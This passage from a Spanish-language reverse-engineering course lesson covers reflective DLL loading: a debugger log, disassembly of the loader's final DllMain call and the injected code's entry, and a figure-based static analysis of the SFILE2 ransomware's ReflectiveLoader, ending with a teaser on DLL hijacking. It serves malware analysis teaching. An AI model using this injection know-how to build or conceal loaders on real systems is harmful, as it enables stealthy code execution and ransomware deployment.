(4084) loading library at 0x0000000075990000 (C:\Windows\SysWOW64\win32u.dll) win32u.dll
(4084) loading library at 0x0000000075250000 (C:\Windows\SysWOW64\gdi32.dll) gdi32.dll
(4084) loading library at 0x0000000075C40000 (C:\Windows\SysWOW64\gdi32full.dll) gdi32full.dll
(4084) loading library at 0x0000000076520000 (C:\Windows\SysWOW64\msvcp_win.dll) msvcp_win.dll
(4084) loading library at 0x0000000076B10000 (C:\Windows\SysWOW64\ucrtbase.dll) ucrtbase.dll
(4084) loading library at 0x0000000075D70000 (C:\Windows\SysWOW64\imm32.dll) imm32.dll
hit breakpoint at: 0x930745

Y la llamada final a DllMain:

ENSAMBLADOR / REFERENCIA
            0x00930824      6a00           push 0
            0x00930826      6a00           push 0
            0x00930828      6aff           push 0xffffffffffffffff
            0x0093082a      03f2           add esi, edx
            0x0093082c      ff55e4         call dword [ebp - 0x1c]
            0x0093082f      ff7508         push dword [ebp + 8]
            0x00930832      6a01           push 1                      ; 1
            0x00930834      ff75fc         push dword [ebp - 4]
            0x00930837      ffd6           call esi
            0x00930839      5f             pop edi
            0x0093083a      8bc6           mov eax, esi

Y se ejecuta el código malicioso.

ENSAMBLADOR / REFERENCIA
[0x009e15c5]> pd   150
            ;-- rsi:
            ;-- rip:
            0x009e15c5      55             push ebp
            0x009e15c6      8bec           mov ebp, esp
            0x009e15c8      837d0c01       cmp dword [ebp + 0xc], 1
        ,=< 0x009e15cc      7505           jne 0x9e15d3
        |   0x009e15ce      e876110000     call 0x9e2749
        `-> 0x009e15d3      ff7510         push dword [ebp + 0x10]
            0x009e15d6      ff750c         push dword [ebp + 0xc]
            0x009e15d9      ff7508         push dword [ebp + 8]
            0x009e15dc      e807000000     call 0x9e15e8
hellow
FIG. 19 hellow

Uso de DLL reflectiva en el ransomware SFILE2

Pasando a un caso real, Vitali Kremez presentó el ransomware SFILE2 como ejemplo de uso de ReflectiveLoader.

Si cargamos el programa para analizarlo estáticamente, empezamos a ver una serie de imports sospechosos:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 20 Uso de DLL reflectiva en el ransomware SFILE2

También podemos ver que el programa accede extensamente a recursos del sistema de archivos:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 21 Uso de DLL reflectiva en el ransomware SFILE2

Junto con referencias claras al «cifrado»:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 22 Uso de DLL reflectiva en el ransomware SFILE2

E incluso una clave pública:

rsakey
FIG. 23 rsakey

Está claro que estamos ante un ransomware bastante básico.

Al comprobar sus exports, vemos una referencia a ReflectiveLoader. Investiguemos:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 24 Uso de DLL reflectiva en el ransomware SFILE2

Empezamos viendo cómo comprueba que se trata de un ejecutable válido:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 25 Uso de DLL reflectiva en el ransomware SFILE2

Y también podemos identificar claramente las referencias de hash a las bibliotecas necesarias:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 26 Uso de DLL reflectiva en el ransomware SFILE2

Junto con la combinación de llamadas API necesarias:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 27 Uso de DLL reflectiva en el ransomware SFILE2

Y una referencia muy clara a VirtualAlloc:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 28 Uso de DLL reflectiva en el ransomware SFILE2

La copia en memoria de la DLL que se va a cargar reflectivamente:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 29 Uso de DLL reflectiva en el ransomware SFILE2

Las relocalizaciones:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 30 Uso de DLL reflectiva en el ransomware SFILE2

Y ahí encontramos la llamada a DllMain:

Uso de DLL reflectiva en el ransomware SFILE2
FIG. 31 Uso de DLL reflectiva en el ransomware SFILE2

Así es más o menos cómo procederíamos para confirmar un caso de carga reflectiva de DLL. Este era sencillo porque encontramos una referencia clara a ReflectiveLoader y el ransomware en sí es bastante básico. En este caso particular, es probable que el ransomware se descargue como servicio desde un C2, de modo que el dropper, el downloader o la infección principal lo cargue usando el ReflectiveLoader.

En las siguientes lecciones profundizaremos en técnicas de inyección más avanzadas.

Extra: Secuestro básico de DLL (DLL hijacking)

Si profundizas un poco más en cómo funciona el proceso de carga de DLL, puedes encontrar formas más sencillas e interesantes de inyectar código.

Comprobación personal

Antes de continuar

Describe la etapa analizada, sus datos de entrada y la evidencia que muestra su resultado. Relaciona cada captura con una función o transición concreta del caso.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.